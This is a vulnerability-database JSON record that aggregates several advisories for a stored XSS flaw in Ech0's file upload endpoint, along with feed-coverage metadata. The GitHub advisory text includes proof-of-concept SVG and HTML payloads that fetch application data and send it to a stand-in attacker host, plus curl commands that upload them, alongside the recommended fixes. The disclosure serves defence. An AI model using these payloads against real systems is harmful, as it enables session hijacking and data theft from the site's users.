{"id":"GHSA-69hx-63pv-f8f4","revision":null,"records":[{"revision":"17004a44b33d42c0a7dfe26543f3a330","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-79670","aliases":[],"title":"Ech0 before 4.4.3 Stored XSS via SVG Upload","description":"Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.","state":0,"publishedAt":"2026-08-25T11:33:31.499+00:00","modifiedAt":"2026-08-25T17:30:32.633+00:00","affected":[{"ecosystem":"Vendor product","name":"Ech0","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"lin-snow\",\n                    \"product\": \"Ech0\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:golang/github.com/lin-snow/ech0\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"4.4.3\"\n                        },\n                        {\n                            \"version\": \"4.4.3\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","score":4.8,"severity":"MEDIUM"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","score":4.8,"severity":"MEDIUM"}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-69hx-63pv-f8f4","https://www.vulncheck.com/advisories/ech0-before-stored-xss-via-svg-upload"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-79670","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-79670","identifiers":["CVE-2026-79670"]},"retained":false,"historicalAffected":[]},{"revision":"b868410bf3374e43affd3df551ef7b76","observedAt":"2026-11-19T18:51:03.838+00:00","statement":{"source":"euvd","id":"EUVD-2026-65444","aliases":["CVE-2026-79670","GHSA-mj42-9vh2-f8v3"],"title":"Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG…","description":"Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","score":4.8,"severity":null}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-69hx-63pv-f8f4","https://www.vulncheck.com/advisories/ech0-before-stored-xss-via-svg-upload"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-65444","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 25, 2026, 11:33:31 AM","dateUpdated":"Aug 25, 2026, 5:30:32 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-65444","identifiers":["EUVD-2026-65444","CVE-2026-79670","GHSA-mj42-9vh2-f8v3"]},"retained":false,"historicalAffected":[]},{"revision":"94cf72fc118a43219b9eb62b6e742805","observedAt":"2026-10-25T16:19:04.694+00:00","statement":{"source":"nvd","id":"CVE-2026-79670","aliases":[],"title":"Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG…","description":"Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.","state":0,"publishedAt":"2026-08-25T12:16:35.247+00:00","modifiedAt":"2026-08-31T20:52:56.343+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":4.8,"severity":"MEDIUM"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","score":4.8,"severity":"MEDIUM"}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-69hx-63pv-f8f4","https://www.vulncheck.com/advisories/ech0-before-stored-xss-via-svg-upload"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79670","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-434"],"productCriteria":[],"sourceDates":{"published":"2026-08-25T12:16:35.247","lastModified":"2026-08-31T20:52:56.343"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-79670","identifiers":["CVE-2026-79670"]},"retained":false,"historicalAffected":[]},{"revision":"695a4be3dd6f411aa427324fd0b3d6e8","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-69hx-63pv-f8f4","aliases":["CVE-2026-79670","GO-2026-5172"],"title":"Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload","description":"## Summary\n\nThe file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, `image/svg+xml` is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.\n\n## Details\n\nThe upload handler at `internal/service/file/file.go:85-87` validates file type using only the multipart `Content-Type` header:\n\n```go\ncontentType := file.Header.Get(\"Content-Type\") // client-controlled\nif !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {\n    return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)\n}\n```\n\n`isAllowedType` at `file.go:836-843` performs exact string matching — no magic byte detection, no extension validation:\n\n```go\nfunc isAllowedType(contentType string, allowedTypes []string) bool {\n    for _, allowed := range allowedTypes {\n        if contentType == allowed {\n            return true\n        }\n    }\n    return false\n}\n```\n\nThe original file extension is preserved in the storage key by `RandomKeyGenerator` at `internal/storage/keygen.go:41`:\n\n```go\next := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))\n```\n\nAll locally stored files are served publicly without authentication at `internal/router/modules.go:51`:\n\n```go\nctx.Engine.Static(\"api/files\", root)\n```\n\nThis `gin.Static` call is registered directly on the engine, outside any authentication middleware group. Go's `http.ServeFile` (used internally by `gin.Static`) determines the response `Content-Type` using `mime.TypeByExtension`, so `.html` files are served as `text/html` and `.svg` files as `image/svg+xml`.\n\nNo `X-Content-Type-Options: nosniff` or `Content-Security-Policy` headers are set (verified in `internal/router/middleware.go`).\n\n**Variant 1 — SVG XSS (no spoofing needed):** `image/svg+xml` is in the default `AllowedTypes` at `internal/config/config.go:241`. SVG files can contain `<script>` tags and event handlers. The VireFS schema routes `.svg` to `images/` (`internal/storage/schema.go:10`). Uploaded SVGs are publicly accessible at `/api/files/images/<key>.svg` and JavaScript within them executes in the application's origin.\n\n**Variant 2 — Content-Type spoofing:** Upload an `.html` file with a forged multipart `Content-Type: image/jpeg`. The allowlist check passes (image/jpeg is allowed). The `.html` extension is preserved. The VireFS schema routes unknown extensions to `files/` (`schema.go:14`). The file is served at `/api/files/files/<key>.html` as `text/html`.\n\n## PoC\n\n**Variant 1 — SVG XSS (simplest, default config):**\n\n```bash\n# 1. Create SVG with embedded JavaScript\ncat > evil.svg << 'SVGEOF'\n<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 100 100\">\n  <script>\n    // Steal cookies and redirect to attacker\n    fetch('/api/echo/page')\n      .then(r => r.json())\n      .then(d => {\n        new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d));\n      });\n  </script>\n  <circle cx=\"50\" cy=\"50\" r=\"40\" fill=\"red\"/>\n</svg>\nSVGEOF\n\n# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)\ncurl -X POST http://target:1024/api/files/upload \\\n  -H 'Authorization: Bearer <admin-jwt>' \\\n  -F 'file=@evil.svg;type=image/svg+xml' \\\n  -F 'category=image' \\\n  -F 'storage_type=local'\n\n# Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg\n# 3. Access without authentication — JavaScript executes in application origin:\n# GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg\n```\n\n**Variant 2 — Content-Type bypass with HTML:**\n\n```bash\n# 1. Create HTML with JavaScript\ncat > evil.html << 'HTMLEOF'\n<html><body>\n<script>\n  document.write('<h1>XSS in ' + document.domain + '</h1>');\n  // Exfiltrate data from same-origin API\n  fetch('/api/echo/page').then(r=>r.json()).then(d=>{\n    new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d));\n  });\n</script>\n</body></html>\nHTMLEOF\n\n# 2. Upload with spoofed Content-Type\ncurl -X POST http://target:1024/api/files/upload \\\n  -H 'Authorization: Bearer <admin-jwt>' \\\n  -F 'file=@evil.html;type=image/jpeg' \\\n  -F 'category=image' \\\n  -F 'storage_type=local'\n\n# 3. Access without authentication — renders as text/html:\n# GET http://target:1024/api/files/files/<uid>_<ts>_<rand>.html\n```\n\n## Impact\n\n- **Stored XSS in the application origin**: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly.\n- **Session hijacking**: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens.\n- **Persistent backdoor**: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated.\n- **Data exfiltration**: JavaScript running in the application origin can call internal API endpoints (e.g., `/api/echo/page`) and exfiltrate application data.\n- **Social engineering vector**: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised.\n\nThe admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise.\n\n## Recommended Fix\n\n**1. Validate Content-Type server-side using magic bytes** (`internal/service/file/file.go`):\n\n```go\nimport \"net/http\"\n\n// Replace client-controlled Content-Type with server-detected type\nfunc detectContentType(file multipart.File) (string, error) {\n    buf := make([]byte, 512)\n    n, err := file.Read(buf)\n    if err != nil && err != io.EOF {\n        return \"\", err\n    }\n    if _, err := file.Seek(0, io.SeekStart); err != nil {\n        return \"\", err\n    }\n    return http.DetectContentType(buf[:n]), nil\n}\n```\n\n**2. Remove `image/svg+xml` from default AllowedTypes** or sanitize SVGs to strip `<script>` tags and event handlers before storage.\n\n**3. Add security headers** in `internal/router/middleware.go`:\n\n```go\nfunc SecurityHeaders() gin.HandlerFunc {\n    return func(c *gin.Context) {\n        c.Header(\"X-Content-Type-Options\", \"nosniff\")\n        c.Header(\"Content-Security-Policy\", \"default-src 'self'; script-src 'self'\")\n        c.Next()\n    }\n}\n```\n\n**4. Serve uploaded files with `Content-Disposition: attachment`** or from a separate origin/subdomain to isolate them from the application's cookie scope.","state":0,"publishedAt":"2026-04-10T19:50:01+00:00","modifiedAt":"2026-08-27T04:10:33.7673985+00:00","affected":[{"ecosystem":"Go","name":"github.com/lin-snow/ech0","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.4.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-69hx-63pv-f8f4","https://github.com/lin-snow/Ech0","https://github.com/lin-snow/Ech0/releases/tag/v4.4.3"],"sourceUrl":"https://github.com/advisories/GHSA-69hx-63pv-f8f4","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-69hx-63pv-f8f4","identifiers":["GHSA-69hx-63pv-f8f4","CVE-2026-79670","GO-2026-5172"]},"retained":false,"historicalAffected":[]},{"revision":"06cd1a0ab51d468e852afa29c8b3bd4e","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5172","aliases":["CVE-2026-79670","GHSA-69hx-63pv-f8f4"],"title":"Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload in github.com/lin-snow/ech0","description":"Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload in github.com/lin-snow/ech0.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.","state":0,"publishedAt":"2026-06-25T22:34:31+00:00","modifiedAt":"2026-08-27T04:10:33.7673985+00:00","affected":[{"ecosystem":"Go","name":"github.com/lin-snow/ech0","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-69hx-63pv-f8f4","https://github.com/lin-snow/Ech0/releases/tag/v4.4.3"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5172","license":"OSV · upstream source license applies","key":"osv:GO-2026-5172","identifiers":["GO-2026-5172","CVE-2026-79670","GHSA-69hx-63pv-f8f4"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-20T04:24:03.1656347+00:00","complete":true,"records":1786,"lastAttemptAt":"2026-11-20T04:24:03.1656347+00:00","lastSuccessAt":"2026-11-20T04:24:03.3238543+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:24:03.3238549+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-ab394367b327976f2e615091908e1dede6760751304792bb06c748f95767cbef-3c254fb81a099762b5f3965cf4f869ad9e42b5cae173b622d645aadccc5fb4fa","complete":true,"records":429276,"lastAttemptAt":"2026-11-20T04:20:59.1967041+00:00","lastSuccessAt":"2026-11-20T04:20:59.1769175+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:20:59.1967041+00:00","snapshotPublishedAt":"2026-11-20T03:30:14+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b46d816d279d4522af5c24b18b474b9b","complete":false,"records":13903,"lastAttemptAt":"2026-11-20T04:34:05.5717073+00:00","lastSuccessAt":"2026-11-20T04:34:05.566+00:00","error":"448 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-20T04:34:05.566+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13361,"expectedIdentifiers":13951,"failedIdentifiers":448},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-20T04:24:03.1656347+00:00","complete":true,"records":1130,"lastAttemptAt":"2026-11-20T04:24:03.1656347+00:00","lastSuccessAt":"2026-11-20T04:24:03.3247198+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:24:03.3247226+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4f4c49e3a2cc47ada74ec1a85c1f4249","complete":true,"records":13915,"lastAttemptAt":"2026-11-20T04:24:24.6289791+00:00","lastSuccessAt":"2026-11-20T04:24:24.623+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:24:24.623+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13951,"expectedIdentifiers":13951,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-8c782c8bda9dbab8135c62bfbc9a19fa3557f15c26fbd641daea6b40b297253e","complete":true,"records":9981,"lastAttemptAt":"2026-11-20T04:24:03.0925119+00:00","lastSuccessAt":"2026-11-20T01:30:46.6941716+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:24:03.0925119+00:00","snapshotPublishedAt":"2026-11-20T00:33:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-94b3a229089d62296b97f627a772880f88ab7164d62486372661c0a39e321234","complete":true,"records":2019,"lastAttemptAt":"2026-11-20T04:20:59.3555914+00:00","lastSuccessAt":"2026-11-20T01:29:01.8774014+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:20:59.3555914+00:00","snapshotPublishedAt":"2026-11-20T00:17:59+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7ce196026235c6501d0b2fb81592d1b9dc06e8705525d41efefd322e75f6c22f","complete":true,"records":3200,"lastAttemptAt":"2026-11-20T04:24:03.1146008+00:00","lastSuccessAt":"2026-11-20T01:30:49.8670987+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:24:03.1146008+00:00","snapshotPublishedAt":"2026-11-20T00:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-0537254c02bf0b8a4a3bc3f2f70bbee04f26a2c639632f6016ad29d0b4723547","complete":true,"records":232813,"lastAttemptAt":"2026-11-20T04:24:02.9473856+00:00","lastSuccessAt":"2026-11-20T04:24:01.4919071+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:24:02.9473856+00:00","snapshotPublishedAt":"2026-11-20T03:33:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}